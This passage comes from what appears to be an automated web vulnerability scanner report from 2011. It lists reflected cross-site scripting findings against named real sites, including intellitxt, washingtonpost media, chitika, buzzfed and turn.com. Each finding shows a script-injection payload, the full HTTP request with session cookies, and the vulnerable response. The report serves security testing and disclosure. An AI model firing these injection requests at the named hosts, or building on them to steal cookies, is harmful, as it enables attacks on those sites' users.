Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Access-Control-Allow-Origin: *
Set-Cookie: VM_USR=AArNPECOHUvQr+aEbt9FOpIAADrpAAA7PAAAAAAAAAAAAAIKAwczCggHMw--; Domain=.intellitxt.com; Expires=Sat, 09-Jul-2011 13:55:16 GMT; Path=/
Content-Type: application/x-javascript
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:55:16 GMT
Age: 0
Connection: keep-alive
Content-Length: 12182

var undefined;if(null==$iTXT.glob.dbParams||undefined==$iTXT.glob.dbParams){$iTXT.glob.dbParams=new $iTXT.data.Param(undefined,undefined,undefined,'DATABASE');}$iTXT.glob.dbParams.set({"searchengine.h
...[SNIP]...
et('initskip',0);$iTXT.data.Context.params.set('minimagew',180);$iTXT.data.Context.params.set('minimageh',200);$iTXT.data.Context.params.set('intattrs','alt,title,href,src,name');try{$iTXT.js.callback04d31c;alert(1)//1374ac9350c({"requiresContextualization":0,"requiresAdverts":1});}catch(e){}

4.222. http://knowyourmobile.uk.intellitxt.com/v4/init [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://knowyourmobile.uk.intellitxt.com
Path:	/v4/init

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d09c5"-alert(1)-"9460c661f28 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /v4/init?ts=1305033338266&pagecl=21405&fv=10&muid=&refurl=http%3A%2F%2Fwww.knowyourmobile.com%2Ffeatures%2F881740%2Fgoogle_io_what_to_expect.html&ipid=14089&jscallback=$iTXT.js.callback0&d09c5"-alert(1)-"9460c661f28=1 HTTP/1.1
Host: knowyourmobile.uk.intellitxt.com
Proxy-Connection: keep-alive
Referer: http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VM_USR=AArNPECOHUvQr+aEbt9FOpIAADrpAAA7PAAAAAAAAAAAAAEKCAcz; VM_PIX="AQAAAA0AAAo3AQAAAAIAAAEv1Y1ySwAAAS/VjvlHAAAKNQEAAAABAAABL9oL6ucAAArbAQAAAAEAAAEv2gvq5wAACnoBAAAAAQAAAS/aC+rnAAAKPQEAAAACAAABL9WNcksAAAEv1Y75RwAACl0BAAAAAQAAAS/VjXJLAAAK1QEAAAABAAABL5IvXhoAAArJAQAAAAEAAAEvki9eGgAACmMBAAAAAQAAAS/aC+rnAAAK5wEAAAABAAABL5IvXhoAAApOAQAAAAIAAAEv1Y1ySwAAAS/VjvlHAAAKxwEAAAABAAABL5IvXhoAAApPAQAAAAIAAAEv1Y1ySwAAAS/VjajnAAAAAPP1m88-"

Response

HTTP/1.1 200 OK
Cache-Control: private
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Access-Control-Allow-Origin: *
Set-Cookie: VM_USR=AArNPECOHUvQr+aEbt9FOpIAADrpAAA7PAAAAAAAAAAAAAIKAwczCggHMw--; Domain=.intellitxt.com; Expires=Sat, 09-Jul-2011 13:56:56 GMT; Path=/
Content-Type: application/x-javascript
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:56:56 GMT
Age: 0
Connection: keep-alive
Content-Length: 12163

var undefined;if(null==$iTXT.glob.dbParams||undefined==$iTXT.glob.dbParams){$iTXT.glob.dbParams=new $iTXT.data.Param(undefined,undefined,undefined,'DATABASE');}$iTXT.glob.dbParams.set({"searchengine.h
...[SNIP]...
:"1305033338266","dma":623,"POSTCODE":"75207","user-agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24","REGIONNAME":"Texas","muid":"","d09c5"-alert(1)-"9460c661f28":"1","city":"Dallas","jscallback":"$iTXT.js.callback0","reg":"tx","refurl":"http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html","rcc":"us","cc":"us"},null,60);var undefined;if
...[SNIP]...

4.223. http://media3.washingtonpost.com/wpost/js/combo [context parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://media3.washingtonpost.com
Path:	/wpost/js/combo

Issue detail

The value of the context request parameter is copied into the HTML document as plain text between tags. The payload 38b6b<script>alert(1)</script>8720c723ebd was submitted in the context parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wpost/js/combo?context=eidos38b6b<script>alert(1)</script>8720c723ebd&c=false&m=false&r=/echo2/v2/core/stream.js&r=/echo2/v2/plugins/whirlpools.js&r=/echo2/v2/core/user-list.js HTTP/1.1
Host: media3.washingtonpost.com
Proxy-Connection: keep-alive
Referer: http://www.washingtonpost.com/blogs/right-turn/post/rick-santorum-doesnt-understand-america/2011/03/29/AFHhSbBG_blog.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WPNIUCID=WPNI1304310786188.9974; s_vi=[CS]v1|26DEF6EE05011508-40000100A0001105[CE]; s_pers=%20s_nr%3D1305033204715-Repeat%7C1307625204715%3B%20s_lv%3D1305033204717%7C1399641204717%3B%20s_lv_s%3DMore%2520than%25207%2520days%7C1305035004717%3B%20s_vmonthnum%3D1306904400800%2526vn%253D2%7C1306904400800%3B%20s_monthinvisit%3Dtrue%7C1305035004721%3B%20gvp_p5%3Dopinions%253Ablog%253Aright-turn%2520-%2520AFHhSbBG%2520-%252020110506%2520-%2520rick-santorum-doesnt-understand-america%7C1305035004728%3B; s_sess=%20s_cc%3Dtrue%3B%20s_dslv%3DMore%2520than%25207%2520days%3B%20s_wp_ep%3Dblog%3B%20s._ref%3DDirect-Load%3B%20s_sq%3D%3B; __qseg=Q_D|Q_T|Q_2919|Q_1807|Q_1665|Q_1649|Q_1648|Q_1645; rss_now=false; popUpClockCookie=1; popUpOnPreviousPageCookie=true; wp_pageview=1; mbox=check#true#1305033270|session#1305033209163-998563#1305035070; headzip=20001

Response

HTTP/1.1 200 OK
Server: Web Server
X-powered-by: Servlet/2.5
Cache-Control: max-age=3600
Content-Type: application/x-javascript;charset=UTF-8
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:17:26 GMT
Connection: close
Content-Length: 397

/* Unable to find file: http://media3.washingtonpost.comeidos38b6b<script>alert(1)</script>8720c723ebd/echo2/v2/core/stream.js*/
/* Unable to find file: http://media3.washingtonpost.comeidos38b6b<script>
...[SNIP]...

4.224. http://mm.chitika.net/minimall [callback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://mm.chitika.net
Path:	/minimall

Issue detail

The value of the callback request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload c1bd8%3balert(1)//0552a7e68e1 was submitted in the callback parameter. This input was echoed as c1bd8;alert(1)//0552a7e68e1 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /minimall?w=468&h=60&client=slashgear&noctxt=4&sid=Chitika%20Premium&cid=Chitika%20Premium&query=Premium&type=mpu&mquery=Premium&defaultcat=89&vertical=premium&cl_title=068EC0&cl_text=666666&alturl=http%3A//www.slashgear.com/ads/rpufallover.html&altcss=http%3A//cdn.slashgear.com/static/css/rpu.css&screenres=1920x1200&winsize=0x0&canvas=1050x388&frm=false&history=1&impsrc=amm&url=http%3A//www.slashgear.com/samsung-galaxy-tab-10-1-hands-on-at-google-io-2011-09151027/&cb=57&loc=46%2C3483&output=simplejs&callback=ch_ad_render_searchc1bd8%3balert(1)//0552a7e68e1 HTTP/1.1
Host: mm.chitika.net
Proxy-Connection: keep-alive
Referer: http://www.slashgear.com/samsung-galaxy-tab-10-1-hands-on-at-google-io-2011-09151027/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _cc=G/Tc55IBuhB9tX8RYGk7+jd6PYG4BBganXODcSqyF8XTxSudj3OfhlIFuk/VyyMS2zsUX7e9GFWF4yzCsfQo+k/eUgovhhkZbP0WZ2kC1WtfOpV9MNDa6zRPm3DJ5vZ0ef5aC3MuFKjY5gNFbymhXuBx/3rBwH3BlBRnG6NcTmHeaspFJoDATBwRofOMMQxCTJX3EiDZlZH12esIRDNwN5AFqQHiPvH2UCsH1lJbaml881cvmfE1qJTHdWf+EUhZzDiNXwHiYNgna1igewcSLbVHyFCcaMaufwAlRSH9gFVI4eB4UGTTq8hmZ1ZKC5vI5OaGn7fb4t5gNwOjEr+hwvj9ZB2vU/p2anCAcww/vIQVjyPYSkDvqmH97wKM+lZFxAai2ruBV9xxmW/MIJRhAP+PmEss/yes9JkdmOrc84hQbQWqo6kLIw1QRWB2l/9zi2QBliM/mhEpCxrkn7ib2cccCcDvzlzBVlf+z5fTRHrN1Ur2T6REOsKs+JATW5KJFz54Tsza164ph1JbcGRzcd54wj1WOPRO8KX8gHkCewwcRMgC5Kt6U2QyN38jqQMr1fbT4fjH35qIcjezZpw=.AhALINjiKj9oTHt/ogja6g.4

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:32:05 GMT
Server: Apache
Vary: Accept-Encoding
Connection: close
Content-Type: application/x-javascript; charset=utf-8
Content-Length: 184

var ch_mmhtml = {"pixelhtml":"","reason":"search_only","alturl":"http://www.slashgear.com/ads/rpufallover.html","output":"","cb":"57"};ch_ad_render_searchc1bd8;alert(1)//0552a7e68e1();

4.225. http://pglb.buzzfed.com/10032/5aa834d4bb2efeab1df676685da0518c [callback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pglb.buzzfed.com
Path:	/10032/5aa834d4bb2efeab1df676685da0518c

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 29f7b<script>alert(1)</script>c2547cdae8d was submitted in the callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /10032/5aa834d4bb2efeab1df676685da0518c?callback=BF_PARTNER.gate_response29f7b<script>alert(1)</script>c2547cdae8d&cb=4832 HTTP/1.1
Host: pglb.buzzfed.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/javascript; charset=ISO-8859-1
Server: lighttpd
Content-Length: 79
Cache-Control: max-age=604758
Expires: Tue, 17 May 2011 13:27:20 GMT
Date: Tue, 10 May 2011 13:28:02 GMT
Connection: close

BF_PARTNER.gate_response29f7b<script>alert(1)</script>c2547cdae8d(1304807498);

4.226. http://r.turn.com/server/pixel.htm [fpid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://r.turn.com
Path:	/server/pixel.htm

Issue detail

The value of the fpid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5a3af"><script>alert(1)</script>356b2fd2650 was submitted in the fpid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /server/pixel.htm?fpid=5a3af"><script>alert(1)</script>356b2fd2650&sp=y&admeld_call_type=iframe&admeld_user_id=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9&admeld_adprovider_id=24&admeld_call_type=iframe&admeld_callback=http://tag.admeld.com/match HTTP/1.1
Host: r.turn.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/607/salonmedia/300x250/default_criteo?t=1305033240941&tz=300&m=0&hu=&ht=js&hp=0&fo=&url=http%3A%2F%2Fletters.salon.com%2Fpolitics%2Fwar_room%2F2011%2F05%2F09%2Fsantorum_loser%2Fview%2F&refer=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: adImpCount=Dza9cImQIgAOYp1sdVBFKJ3j2mm-3nw5DLdjMDY9RiDfaqaDzVRu9ZiuBStYaftY-vQa-Lrt8AEh2sMWSofalPWfoLMBxH0g9IiAwEZtd5YPMEpw2Dimbl_Ar_3pbVlWCr9zpcNmhJ4YALFsRS0OjTgV6OPboE5AailwYD2p-IySdlkZutLQ7ZQ85RG7C4VB2qlA743KvZ39ywpdZbpMhh0Lmtiu91APHHd__cAh9gz07Cd5Zg6Jg2z-OuW7NiYiFK2x3qhPSvxxgQjvFMzvNsv0sG_uSycuZycGHG0i9JDVJjS_HVyCCR3CpH4C_z7OWENSx6qTFa7od7SUHN9Egei6BZRgi_D5YzTOICCuYCx9jiGo5Ucxoan5H4AQ_xV3iHql4u4O7_sSYdnd02k2DNQHkfpT4yC0sBHWKifDZRo8VXe-PeWk1nfFtbmH7GvZ1QMXO5GUno07zoygwBocRoTsxUcxWk5nbrSqN6k58j1TORmwcQ4tlm0RwihyF_UsCL2x9N8rCbkNMc9dtlOLKF16IBansyDt77nh-l623XjbgLPXgE5UhrKbb-yapi7Iz_t1m3RC9HNVGEroWY24Hx0ymz9iB_PZ274hwZ5aW0QB1cBEZ955Qck8jqa4MZ7v1aY1ttiEjhYPnmeJ7sqVaGWGUflWpKK8ZDluGXe-OMAMpHNeDinV6bUD4c7xTKPYqOV7QZ7aFBA3m0phFzvLGUyTINTvrbznNuEHAKkRnaoKqQQIp4dB6WERi9SKRUeAKB26GseFkfH7OU-Y9jArFwJN1aNKu26HMlC2vlBlEo3AibJolRtP9GKY2j0AIA4QF0ROUKwFAxzf5GHHC-l2sUbwMrieaxWXba1ERSK3tWWrKuMIkiwSl3Te1VhilaTSnNbIlFewbQ0HwOyAYWPKVOFzsrgdqMMSA-afxC3bSvIKc60386S8NF-JuqnS_gYeiHql4u4O7_sSYdnd02k2DGktwZFEgr-H1aRa-v8iL2Y8VXe-PeWk1nfFtbmH7GvZojS9aaLdC4dIDTz1p5oDzGZlZrZQz9gqPi_YpBWRR_zyJstfeR3BF0X80yINyf_bnscLz8pWZl03MCHITMyErF16IBansyDt77nh-l623XgQrvHzCa6-Ar3OKf1u5O9co8jF4KazkjYUhi9Y-2cpubMeTwvrsn6UDDgstfmlQPoNQYQoyiD68kJjw-yNw0ZU1aY1ttiEjhYPnmeJ7sqVaHrw4FE_cCyjpsbZ3unV7uMrdoKrhpnovF-eFvpriEhVrMfpGoruuBgzA1-jEhdCS2wFnaEJ_77D-SBSvq4apv0KqQQIp4dB6WERi9SKRUeApAoLbAXgH3MAg4fG-53hwYWvZ7p1zrzJVM0-BhBuMNYrc7Kk7dBes7lnotHfeZ9VkUKGgPT-wupZmNTexU6iznjzwSpHwNAhjAO4xxi375pcdR85v5iezdnNkxnuNwjFRvAyuJ5rFZdtrURFIre1ZZBSlbvBC0evnYqUUsRvAsWc1siUV7BtDQfA7IBhY8pUNZFdTBAhalBFYq3Dyxi9TBfNNCsQZvwCdk93ue_PwR2IeqXi7g7v-xJh2d3TaTYMVxQyOpakzryCsBb1QMcxxTxVd7495aTWd8W1uYfsa9lUSQm6Px99bWr2RVRxuk2yEM0JJ22tYCLP7uBw8UeaI1M5GbBxDi2WbRHCKHIX9Sz_QtJiSnym5S_qsqKzl484XXogFqezIO3vueH6XrbdeBrsNvqpBtQW35VrocWM1hJEMrVYqmvz7xJtELJ71uRTTECD0HA2vYVMATXXOR4kic7TP4ECMD5bQt22Ufb1ASjVpjW22ISOFg-eZ4nuypVoX3-sqUKgtXKTyeeAJ3WoNBTpFHNeMdsJNdx7bmFAC56JAHYn97lyiGJ5XDJCkUNkw_be5i-Fx9NF-BKeFGAMPAqpBAinh0HpYRGL1IpFR4AB4o7EViaAPEO7EwRwSKXjmcb3GKio9SBOsgaqPfeFsasCu54shXpdyVhXu91m5wiW91g1mAzej0c7wnGxz5vZRvAyuJ5rFZdtrURFIre1ZfDRnDTWzff-YlyXP_zUgfGc1siUV7BtDQfA7IBhY8pUeWxnJe61Raa9uTyiNiaLtdI3rxLW4kElZ2z2lu4o7hWIeqXi7g7v-xJh2d3TaTYML11pzoZIlFkYCIGVGm_tUjxVd7495aTWd8W1uYfsa9nlK9dyZVYIz5pmDpzdU80QQkZpM_cVFXYTcTTPOspL-TBLfO2ZZ5wOsMI8xMfjrvrnuyo8Yez2B_AzlVUYglieXXogFqezIO3vueH6XrbdeOZqLTJ2eUC5VtOBQseHiE81nClsShNFF0lz8B3FOROwHTKbP2IH89nbviHBnlpbRDDco7mBS3_DJ0ZnqsKZKeTVpjW22ISOFg-eZ4nuypVotMax7cw1A0lomZOewLLuUzHWvz6IKIMXKnKL80iX025NYG1qkKS0O8LGs7luRUbTpMVbMDENDpvIJh2_kOeZwWW0-b-WJf0ZFlMOgj84vlCimF9cP6eLyeThS4cELoZF7hIMY-yiS6od8aiwiVy6K8hyJ0-yKCmYc6DEnkoIDjLUURQ9jCbj0adNONAbHq6OIauKDPsVyaYkWyAz1a3QLsZ0HFEk9FUwZlIZoC4PKchFMfXO25PtkA1FJuDF1eIqRRk7NbH_3KXaXpegXdoohM0M5HiSWAEvqit8JfBxvjBBCecmNOFvmnxZXlybKUM3qIhRpr8zAond1hyHy2KCxQ9jRTaSUh9q8NAYC-8-qkSZEZsmx23qKVCrqZDyeipaIi4-WrfUh7IPblkcEwLIfWk4JnPVlR_zGm4PPqzfx4-ZPuIxR87K17SR-59M9UpIVvIMltY5lVfKu7zjIgIpMBKB2P8TaeZb5SMS1Kn2fJf0-MGZW4U9vWHTndk9ZYnTYKRbzB2AW8sPYtx1gLnWIDsYBLT8b4yTE_t-fjXYNBuH2MTsqi1WP1f5naPDjKNVGGv49osHpNOU5hR-g_XrO60jJc9MudtXKgUybYsjSwmSw3Whqt4otLu1R9f4pMroY6TrnX9AFtcCOq4KtB3OqN2gLia6NWPazuloW1Dp_gmgtfmkSSGnmz7Ck--msIbUItDCaX4V_0YzpDgobT5myGAQ1jpLDCI7HiZjNNO0_95EX9SUHeo0SvSjgEUZJK2gWAKmardOPRrryF1DhECcp1-YMQnoV4ZAArTQ0YurxnNN6cMRpOMh2nE5XzpH9jU_75X6gaFQNyuWz4EiPqighnBW1K7ySrDy2erbCyocIlO9iKCeGUvo-FRYRZN7b2HzshKpWim7EvVYj9LxNPbnlLRl7SF6Fz-Cqk4ilR2m1sd6XpoV6J-HdTmFEl8Fex_S_sTGaqkuGDnpWV_Epn14CgCD-1Od2j93-G993DJLn6laQk0A_YEjXCNxN4ufXJe2s8taXVc1ZwCaKwQ-ReuFBa_BvA0MPyd7JlyBvMOrx4RsY1dMYwNR_ohNoy9a29HQKTTBeSdexy7NjxMrQdbG848mPsvXEVp1Zp9tlw0PafTHwRamGgGanwtSRVH2wEa3NxSTCsrM00Brun6QttnrZ4i40yYFMUM2IND36b7ZFw4; fc=qPpK4X8K7ZjxVx0VJZDcdB_D1mN3lHI_BinJ1LdrOAbDh9xILOy7cWXWYifPzZ3iZjzoSdlEeqq3zCQrton2D32iD1a2418t8vlUtDGalV-JhisFugd5-2PmgEb-dzYcx_84B0Gt7iZQiKNqGC2CofHgZs6hnwrt4AvKtyKV8klPR1hRXEWvUhiTNhz33U4d9hTEpcCaiTjdUImk_rGRYl95QzLPGgcS4PLuvzPSDFoeX72gpvVoMR_dT1IU83itQkcPCNDBJR1s8ojl7c8L5k9KWBxjpL-6lYKR74fQmyE; pf=WmCQSJv_88YAF1TaCEjacvtFyKtKd3nkimHPVBGJrCArW05u4B9BwnHxy5LHSNbs0PyvhiQ9hEGFvp1qMvxzBcdiicNNmmE_aI2n_-oR-aRG9eqUO6PdyPlHytyWBeL6pt4N9d3OY-Qo6M3zGftguNTbm-VGCKrn7KG61o8a-hlxQgbL-MXnxJnxbWK81XM2fNbwnskl80J7FrpArydV4msv5xJnc6wiNkkgoc9ZHAqEvAXfc_b9CYsOLM4ObfRS-yQ0IxDS6yGV0bt0Oz4pJzQ3Hu9GorHJq3pkzhhXE4dM0xncvVUD6tMlnnlm_qWsojASvNxNlCtZvel71OhRg1_acYxwuGBwWmnpT3WVNmeWKUlZO7GlHHuYkG_xUYpdlRr7vUCIaoiDaMmpt_PvLCOUyLGtO0hHJuwGY5T09JX2RCeAmas1by9-2jjXtHbxIU6XTk6RPEnQXT9x2zEmWfAeEJZ2W4XMeMQpqzhWB_34UH3sPqU14UWUW_0z8Z0heNyepssmwJo9AEHB3dcHG8NqNopQF7bmOYrUClo2LIAxUFIqqMfzF-f5IilV9DF2EEtf1qwB8GY1P6ISMC2NEE-NukVybOAFf3snxZsusnThrdw025CqgpXbAJf_ZgK04z5LE7vpNsVQaepPKy5giom1bq2yFvVGruUD-0Zmu_IOz-UlYiPBN7JyoSoKGJwMowB-sj_YCAwsoyO3MSAriA-6SvpE8vfm17M_AiAxw4nAd1Y9GjRixW8BKZaPBicaTSnQ_qW1THdHtsDrSOwE7yWjUosqwui97JSt4J0g_MOMd0ReLIPTEksHwzd4gYkpoMm2n6Nulr0bAVvGt4WcZWdCKTjb3Ww3q4Lyh_VyGMuPK371XlXjo5X46eVqRbV699MOJ5eDdshYLSs5LFoOgILjO_vdFh0XnPmUquTICkH1HrsiJSZNWOX0SyN8dywaeYYZUTlRetsuBzMcxMWLQLNyiRU1bJ5Qpb7GomgPhXBwcMjXa09KP5HzekSxDcQK0SJw0JMmSyeQM3pYTVx-Ci-FU5aKfMy17HNvPHxNvxNrRXY1izURX-lyALi1AlxuBXTDiJUS-OqKWjm2DD4CuggKG3dUzHMmu04fSX5Ad4nEc6NlGzZLMuoExgCCt30kp2pmOmYcQYMZyZ05DubgihMl8PJOwcr8ldScAKqk7rGGnUh27gMWCyrnP1Di5AGzTucfcXTrqV1UJKyBhGxFYcQFai9M2J3rqJmFUgQdN5ATDIRwfK3uozaJUKhU4qVipaL_GD-TOTelik5DYCvXIYIInb3nfIa-ebQa7olHWWH486R4yxje4LN8GWCWWRe4IR0I9DtTjuVzRJkyZ8n66XpUPlCRi3tlvuMEH6BKrtjGsUA2wOoIXFuaM_JUwMHDgab4_aPrZdgl9Uf7tvD9rgyRTxnR6YKNm8Gu6ALXRmCYGTIP8i-wsqx8QkqNgi0F_hs9UZaVZDpy-HyTAsx-Y51cz4yJITcb0FaAWC4QbaWSbbOECFNVbSmOiTVVH4eEKD1WvX5M7UplxrzwIhN9Mwkgo1sMiNanUUl1UyNj_Qxjp4iBCha2ShvDZxpY4-NTPO_cWHxychz2AkV4XXIJ0g; rrs=1%7C2%7C3%7C4%7C1002%7C6%7C7%7C7%7C9%7C1001%7C1002%7C1003%7C10%7C1004%7Cundefined%7C12%7Cundefined%7C1007%7C1008; rds=15104%7C15104%7C15104%7C15104%7C15085%7C15104%7C15104%7C15082%7C15104%7C15104%7C15104%7C15104%7C15104%7C15104%7Cundefined%7C15104%7Cundefined%7C15097%7C15093; rv=1; uid=2931142961646634775

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: policyref="/w3c/p3p.xml", CP="NOI CURa DEVa TAIa PSAa PSDa IVAa IVDa OUR IND UNI NAV"
Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0
Pragma: no-cache
Set-Cookie: uid=2931142961646634775; Domain=.turn.com; Expires=Sun, 06-Nov-2011 13:23:41 GMT; Path=/
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:23:41 GMT
Content-Length: 377

<html>
<head>
</head>
<body>
<iframe name="turn_sync_frame" width="0" height="0" frameborder="0"
   src="http://cdn.turn.com/server/ddc.htm?uid=2931142961646634775&rnd=9041658066840352358&fpid=5a3af"><script>alert(1)</script>356b2fd2650&nu=n&t=&sp=y&purl="
   marginwidth="0" marginheight="0" vspace="0" hspace="0" allowtransparency="true"
   scrolling="no">
...[SNIP]...

4.227. http://r.turn.com/server/pixel.htm [sp parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://r.turn.com
Path:	/server/pixel.htm

Issue detail

The value of the sp request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e00a3"><script>alert(1)</script>97ff336306d was submitted in the sp parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /server/pixel.htm?fpid=4&sp=e00a3"><script>alert(1)</script>97ff336306d&admeld_call_type=iframe&admeld_user_id=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9&admeld_adprovider_id=24&admeld_call_type=iframe&admeld_callback=http://tag.admeld.com/match HTTP/1.1
Host: r.turn.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/607/salonmedia/300x250/default_criteo?t=1305033240941&tz=300&m=0&hu=&ht=js&hp=0&fo=&url=http%3A%2F%2Fletters.salon.com%2Fpolitics%2Fwar_room%2F2011%2F05%2F09%2Fsantorum_loser%2Fview%2F&refer=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: adImpCount=Dza9cImQIgAOYp1sdVBFKJ3j2mm-3nw5DLdjMDY9RiDfaqaDzVRu9ZiuBStYaftY-vQa-Lrt8AEh2sMWSofalPWfoLMBxH0g9IiAwEZtd5YPMEpw2Dimbl_Ar_3pbVlWCr9zpcNmhJ4YALFsRS0OjTgV6OPboE5AailwYD2p-IySdlkZutLQ7ZQ85RG7C4VB2qlA743KvZ39ywpdZbpMhh0Lmtiu91APHHd__cAh9gz07Cd5Zg6Jg2z-OuW7NiYiFK2x3qhPSvxxgQjvFMzvNsv0sG_uSycuZycGHG0i9JDVJjS_HVyCCR3CpH4C_z7OWENSx6qTFa7od7SUHN9Egei6BZRgi_D5YzTOICCuYCx9jiGo5Ucxoan5H4AQ_xV3iHql4u4O7_sSYdnd02k2DNQHkfpT4yC0sBHWKifDZRo8VXe-PeWk1nfFtbmH7GvZ1QMXO5GUno07zoygwBocRoTsxUcxWk5nbrSqN6k58j1TORmwcQ4tlm0RwihyF_UsCL2x9N8rCbkNMc9dtlOLKF16IBansyDt77nh-l623XjbgLPXgE5UhrKbb-yapi7Iz_t1m3RC9HNVGEroWY24Hx0ymz9iB_PZ274hwZ5aW0QB1cBEZ955Qck8jqa4MZ7v1aY1ttiEjhYPnmeJ7sqVaGWGUflWpKK8ZDluGXe-OMAMpHNeDinV6bUD4c7xTKPYqOV7QZ7aFBA3m0phFzvLGUyTINTvrbznNuEHAKkRnaoKqQQIp4dB6WERi9SKRUeAKB26GseFkfH7OU-Y9jArFwJN1aNKu26HMlC2vlBlEo3AibJolRtP9GKY2j0AIA4QF0ROUKwFAxzf5GHHC-l2sUbwMrieaxWXba1ERSK3tWWrKuMIkiwSl3Te1VhilaTSnNbIlFewbQ0HwOyAYWPKVOFzsrgdqMMSA-afxC3bSvIKc60386S8NF-JuqnS_gYeiHql4u4O7_sSYdnd02k2DGktwZFEgr-H1aRa-v8iL2Y8VXe-PeWk1nfFtbmH7GvZojS9aaLdC4dIDTz1p5oDzGZlZrZQz9gqPi_YpBWRR_zyJstfeR3BF0X80yINyf_bnscLz8pWZl03MCHITMyErF16IBansyDt77nh-l623XgQrvHzCa6-Ar3OKf1u5O9co8jF4KazkjYUhi9Y-2cpubMeTwvrsn6UDDgstfmlQPoNQYQoyiD68kJjw-yNw0ZU1aY1ttiEjhYPnmeJ7sqVaHrw4FE_cCyjpsbZ3unV7uMrdoKrhpnovF-eFvpriEhVrMfpGoruuBgzA1-jEhdCS2wFnaEJ_77D-SBSvq4apv0KqQQIp4dB6WERi9SKRUeApAoLbAXgH3MAg4fG-53hwYWvZ7p1zrzJVM0-BhBuMNYrc7Kk7dBes7lnotHfeZ9VkUKGgPT-wupZmNTexU6iznjzwSpHwNAhjAO4xxi375pcdR85v5iezdnNkxnuNwjFRvAyuJ5rFZdtrURFIre1ZZBSlbvBC0evnYqUUsRvAsWc1siUV7BtDQfA7IBhY8pUNZFdTBAhalBFYq3Dyxi9TBfNNCsQZvwCdk93ue_PwR2IeqXi7g7v-xJh2d